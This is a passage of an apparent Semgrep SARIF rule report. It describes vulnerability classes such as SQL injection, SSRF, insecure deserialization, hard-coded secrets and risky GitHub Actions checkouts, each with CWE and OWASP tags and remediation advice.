strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","id":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","name":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","id":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","name":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"help":{"markdown":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb)\n - [https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/](https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/)\n","text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization","id":"ruby.lang.security.cookie-serialization.cookie-serialization","name":"ruby.lang.security.cookie-serialization.cookie-serialization","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.cookie-serialization.cookie-serialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","id":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","name":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n - [https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)\n","text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","id":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","name":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","id":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","name":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","id":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","name":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","id":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","name":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","id":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","name":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-dill-flask.tainted-dill-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","id":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","name":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","id":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","name":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false","id":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","name":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-http-false.taint-cookie-http-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe API Key detected"},"help":{"markdown":"Stripe API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","id":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","name":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","id":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","name":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"help":{"markdown":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST').\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping)\n - 